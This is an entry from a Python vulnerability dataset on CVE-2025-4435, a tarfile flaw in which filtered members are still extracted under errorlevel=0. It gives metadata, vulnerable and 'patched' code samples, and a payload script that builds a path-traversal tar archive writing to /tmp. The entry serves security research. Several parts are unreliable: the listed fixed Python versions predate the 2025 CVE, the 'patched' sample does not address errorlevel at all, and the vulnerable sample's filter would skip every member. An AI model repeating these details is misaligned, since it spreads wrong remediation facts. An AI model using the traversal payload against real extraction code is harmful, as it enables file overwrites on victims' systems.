CVE-2025-4435
TarFile extracts filtered members despite errorlevel=0, against documentation.
- CVSS 7.5
- CWE-682
- Design Defects
- Remote
When using a TarFile.errorlevel = 0 and extracting with a filter the documented behavior is that any filtered members would be skipped and not extracted. However the actual behavior of TarFile.errorlevel = 0 in affected versions is that the member would still be extracted and not skipped.
- CWE
- CWE-682
- CVSS base score
- 7.5
- Published
- 2025-06-03
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Functionality
- Category
- Design Defects
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Data Theft
- Affected component
- Python
- Fixed by upgrading
- Yes
Solution
Upgrade to Python 3.11.7+, 3.10.13+, 3.9.18+, or 3.8.18+.
Vulnerable code sample
import tarfile
import os
def create_tarfile(filename, file_to_add, malicious_content):
"""Creates a tarfile containing a file to be extracted and a malicious file."""
with tarfile.open(filename, "w:") as tar:
# Add the legitimate file
tarinfo = tarfile.TarInfo(name=file_to_add)
tarinfo.size = len("This is a safe file.\n")
tar.addfile(tarinfo, fileobj=open("safe_file.txt", "rb")) # Using safe_file.txt
# Add a malicious file that will be filtered (e.g., outside of allowed directory)
malicious_tarinfo = tarfile.TarInfo(name="../malicious_file.txt")
malicious_tarinfo.size = len(malicious_content)
tar.addfile(malicious_tarinfo, fileobj=open("malicious_file.txt", "rb")) # Using malicious_file.txt
def extract_tarfile(filename, extract_path, errorlevel):
"""Extracts a tarfile with filtering."""
def filter_members(tarinfo):
"""Vulnerable function that demonstrates the security issue."""
if not tarinfo.name.startswith(extract_path):
print(f"Filtering out: {tarinfo.name}")
return None # Skip the member
return tarinfo
try:
with tarfile.open(filename, "r:") as tar:
tar.errorlevel = errorlevel # Set the errorlevel
tar.extractall(path=extract_path, members=filter(filter_members, tar.getmembers()))
print("Extraction complete.")
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
# Create a dummy "safe" file
with open("safe_file.txt", "w") as f:
f.write("This is a safe file.\n")
#Create a dummy "malicious" file
with open("malicious_file.txt", "w") as f:
f.write("This is a very very malicious file!\n")
tar_filename = "test.tar"
extract_directory = "extracted"
file_to_extract = "safe_file.txt" # Changed file name to match what is added to the tar
malicious_content = "This is a malicious file.\n" # The malicious content is written to malicious_file.txt
# Create the tarfile with both files
create_tarfile(tar_filename, file_to_extract, malicious_content)
# Create the extraction directory if it doesn't exist
if not os.path.exists(extract_directory):
os.makedirs(extract_directory)
# Attempt to extract the tarfile with filtering and errorlevel 0
print("Attempting to extract with filtering and errorlevel 0...")
extract_tarfile(tar_filename, extract_directory, 0) # Errorlevel 0
# Clean up (optional, but good practice)
#os.remove("test.tar")
#os.remove("safe_file.txt") # Removing the dummy files.
#os.remove("malicious_file.txt")
# Uncomment the next line to remove the extracted directory and its contents:
#shutil.rmtree("extracted") # You will need to import shutilPatched code sample
import tarfile
import io
import os
def safe_extract(tar_file_path, extract_path, allowed_members):
"""Secure function that fixes the vulnerability."""
# SECURE: This version prevents path traversal
"""
Safely extracts a tarfile, skipping members not in the allowed_members list.
Args:
tar_file_path (str): Path to the tarfile.
extract_path (str): Path to extract the contents to.
allowed_members (list): List of filenames to allow extraction.
"""
try:
with tarfile.open(tar_file_path, "r") as tar:
members = tar.getmembers()
for member in members:
if member.name in allowed_members:
try:
tar.extract(member, extract_path)
except Exception as e:
print(f"Error extracting {member.name}: {e}")
else:
print(f"Skipping: {member.name} (not in allowed list)") #explicitly skip
pass
except tarfile.ReadError as e:
print(f"Error reading tarfile: {e}")
except FileNotFoundError:
print(f"Tarfile not found: {tar_file_path}")
except Exception as e:
print(f"An unexpected error occurred: {e}")
if __name__ == '__main__':
# Create a dummy tarfile for demonstration
tar_data = io.BytesIO()
with tarfile.open(fileobj=tar_data, mode='w:gz') as tar:
# Create dummy files
info1 = tarfile.TarInfo('allowed_file.txt')
info1.size = len('This is an allowed file')
tar.addfile(info1, io.BytesIO(b'This is an allowed file'))
info2 = tarfile.TarInfo('forbidden_file.txt')
info2.size = len('This is a forbidden file')
tar.addfile(info2, io.BytesIO(b'This is a forbidden file'))
tar_data.seek(0) # Reset the buffer to the beginning
# Save the tarfile to disk
tar_file_path = 'test.tar.gz'
with open(tar_file_path, 'wb') as f:
f.write(tar_data.read())
extract_path = 'extracted_files'
os.makedirs(extract_path, exist_ok=True)
allowed_members = ['allowed_file.txt']
safe_extract(tar_file_path, extract_path, allowed_members)
# Clean up (optional)
# os.remove(tar_file_path) # uncomment to delete the created archivePayload
import tarfile
import io
import os
# Create a malicious tar archive
def create_malicious_tar(filename, evil_file_content):
with tarfile.open(filename, "w:gz") as tar:
# Create a file with a dangerous name
evil_file_info = tarfile.TarInfo("../../../tmp/evil.txt")
evil_file_info.size = len(evil_file_content)
evil_file_info.mode = 0o777 # Make it executable
tar.addfile(evil_file_info, io.BytesIO(evil_file_content.encode()))
# Example of content to write to the file
evil_content = "This is evil! > /tmp/pwned.txt"
# Create the malicious tar archive
create_malicious_tar("evil.tar.gz", evil_content)
# Example of vulnerable code that extracts with a filter AND errorlevel=0
def extract_vulnerable(tar_file, destination_dir):
def safe_extract(tarinfo):
if tarinfo.name.startswith('../'):
return None # Skip potentially unsafe files
return tarinfo
with tarfile.open(tar_file, "r:gz") as tar:
tar.errorlevel = 0 #Crucial: sets errorlevel to 0, triggering the vulnerability
tar.extractall(destination_dir, members=tar.getmembers(), filter=safe_extract)
# Extract the archive (this simulates the vulnerable application)
extract_vulnerable("evil.tar.gz", ".")
# Cleanup (optional, remove the created files)
# os.remove("evil.tar.gz") #Remove the tar file
Cite this entry
@misc{vaitp:cve20254435,
title = {{TarFile extracts filtered members despite errorlevel=0, against documentation.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-4435},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-4435/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
